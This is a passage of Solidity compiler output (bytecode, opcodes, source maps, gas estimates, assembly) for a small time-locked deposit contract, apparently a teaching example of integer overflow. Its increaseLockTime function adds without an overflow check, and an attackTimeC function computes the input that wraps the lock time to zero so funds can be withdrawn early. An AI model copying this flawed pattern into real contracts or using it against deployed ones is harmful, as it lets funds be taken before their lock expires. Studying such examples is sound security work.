0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH3 0x93A80 TIMESTAMP ADD PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 LOG1 DUP11 PUSH9 0xFB380AB8C7786D57A5 BYTE STATICCALL 0xc1 0xdc SWAP2 DUP5 0xce DUP7 0xcc 0xb2 0xaf SWAP2 0xea PUSH9 0xC64DF7BFB12B002900 ", | |
"sourceMap": "25:833:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;25:833:0;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"linkReferences": {}, | |
"object": "608060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632115eabd1461007d57806327e235e3146100a85780633ccfd60b146100ff57806379af55e414610116578063a4beda6314610143578063d0e30db01461019a575b600080fd5b34801561008957600080fd5b506100926101a4565b6040518082815260200191505060405180910390f35b3480156100b457600080fd5b506100e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610218565b6040518082815260200191505060405180910390f35b34801561010b57600080fd5b50610114610230565b005b34801561012257600080fd5b506101416004803603810190808035906020019092919050505061035f565b005b34801561014f57600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103af565b6040518082815260200191505060405180910390f35b6101a26103c7565b005b600060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0301600281905550600254905090565b60006020528060005260406000206000915090505481565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561027d57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156102ca57600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc670de0b6b3a76400009081150290604051600060405180830381858888f1935050505015801561035c573d6000803e3d6000fd5b50565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b60016020528060005260406000206000915090505481565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555062093a804201600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505600a165627a7a72305820a18a68fb380ab8c7786d57a51afac1dc9184ce86ccb2af91ea68c64df7bfb12b0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x78 JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x2115EABD EQ PUSH2 0x7D JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xA8 JUMPI DUP1 PUSH4 0x3CCFD60B EQ PUSH2 0xFF JUMPI DUP1 PUSH4 0x79AF55E4 EQ PUSH2 0x116 JUMPI DUP1 PUSH4 0xA4BEDA63 EQ PUSH2 0x143 JUMPI DUP1 PUSH4 0xD0E30DB0 EQ PUSH2 0x19A JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x89 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x92 PUSH2 0x1A4 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xB4 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xE9 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x218 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x10B JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x114 PUSH2 0x230 JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x122 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x141 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x35F JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x14F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x184 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x3AF JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x1A2 PUSH2 0x3C7 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x1 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF SUB ADD PUSH1 0x2 DUP2 SWAP1 SSTORE POP PUSH1 0x2 SLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD GT ISZERO ISZERO PUSH2 0x27D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD TIMESTAMP GT ISZERO ISZERO PUSH2 0x2CA JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC PUSH8 0xDE0B6B3A7640000 SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x35C JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP JUMPDEST DUP1 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH3 0x93A80 TIMESTAMP ADD PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 LOG1 DUP11 PUSH9 0xFB380AB8C7786D57A5 BYTE STATICCALL 0xc1 0xdc SWAP2 DUP5 0xce DUP7 0xcc 0xb2 0xaf SWAP2 0xea PUSH9 0xC64DF7BFB12B002900 ", | |
"sourceMap": "25:833:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;708:143;;8:9:-1;5:2;;;30:1;27;20:12;5:2;708:143:0;;;;;;;;;;;;;;;;;;;;;;;54:40;;8:9:-1;5:2;;;30:1;27;20:12;5:2;54:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;437:194;;8:9:-1;5:2;;;30:1;27;20:12;5:2;437:194:0;;;;;;311:116;;8:9:-1;5:2;;;30:1;27;20:12;5:2;311:116:0;;;;;;;;;;;;;;;;;;;;;;;;;;100:40;;8:9:-1;5:2;;;30:1;27;20:12;5:2;100:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;172:129;;;;;;708:143;751:4;815:1;793:8;:20;802:10;793:20;;;;;;;;;;;;;;;;780:10;:33;:36;767:10;:49;;;;834:10;;827:17;;708:143;:::o;54:40::-;;;;;;;;;;;;;;;;;:::o;437:194::-;505:1;482:8;:20;491:10;482:20;;;;;;;;;;;;;;;;:24;474:33;;;;;;;;531:8;:20;540:10;531:20;;;;;;;;;;;;;;;;525:3;:26;517:35;;;;;;;;585:1;562:8;:20;571:10;562:20;;;;;;;;;;;;;;;:24;;;;596:10;:19;;:28;616:7;596:28;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;596:28:0;437:194::o;311:116::-;402:18;378:8;:20;387:10;378:20;;;;;;;;;;;;;;;;:42;;;;;;;;;;;311:116;:::o;100:40::-;;;;;;;;;;;;;;;;;:::o;172:129::-;239:9;215:8;:20;224:10;215:20;;;;;;;;;;;;;;;;:33;;;;;;;;;;;287:7;281:3;:13;258:8;:20;267:10;258:20;;;;;;;;;;;;;;;:36;;;;172:129::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "232400", | |
"executionCost": "275", | |
"totalCost": "232675" | |
}, | |
"external": { | |
"attackTimeC()": "20717", | |
"balances(address)": "554", | |
"deposit()": "40648", | |
"increaseLockTime(uint256)": "20579", | |
"lockTime(address)": "620", | |
"withdraw()": "infinite" | |
} | |
}, | |
"legacyAssembly": { | |
".code": [ | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "POP" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH #[$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH [$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "CODECOPY" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "RETURN" | |
} | |
], | |
".data": { | |
"0": { | |
".auxdata": "a165627a7a72305820a18a68fb380ab8c7786d57a51afac1dc9184ce86ccb2af91ea68c64df7bfb12b0029", | |
".code": [ | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "LT" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "100000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "FFFFFFFF" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "AND" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "2115EABD" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH [tag]", | |
"value": "2" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "27E235E3" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH [tag]", | |
"value": "3" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "3CCFD60B" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH [tag]", | |
"value": "4" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "79AF55E4" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH [tag]", | |
"value": "5" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "A4BEDA63" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH [tag]", | |
"value": "6" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "D0E30DB0" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH [tag]", | |
"value": "7" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 25, | |
"end": 858, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "tag", | |
"value": "2" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "8" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "8" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "POP" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "PUSH [tag]", | |
"value": "9" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "PUSH [tag]", | |
"value": "10" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "tag", | |
"value": "9" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "POP" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "POP" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 708, | |
"end": 851, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "tag", | |
"value": "3" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "11" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "11" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "POP" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH [tag]", | |
"value": "12" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "AND" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "POP" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "POP" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "POP" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH [tag]", | |
"value": "13" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "tag", | |
"value": "12" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "POP" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "POP" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 54, | |
"end": 94, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "tag", | |
"value": "4" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 437, | |
"end": 631, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "14" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
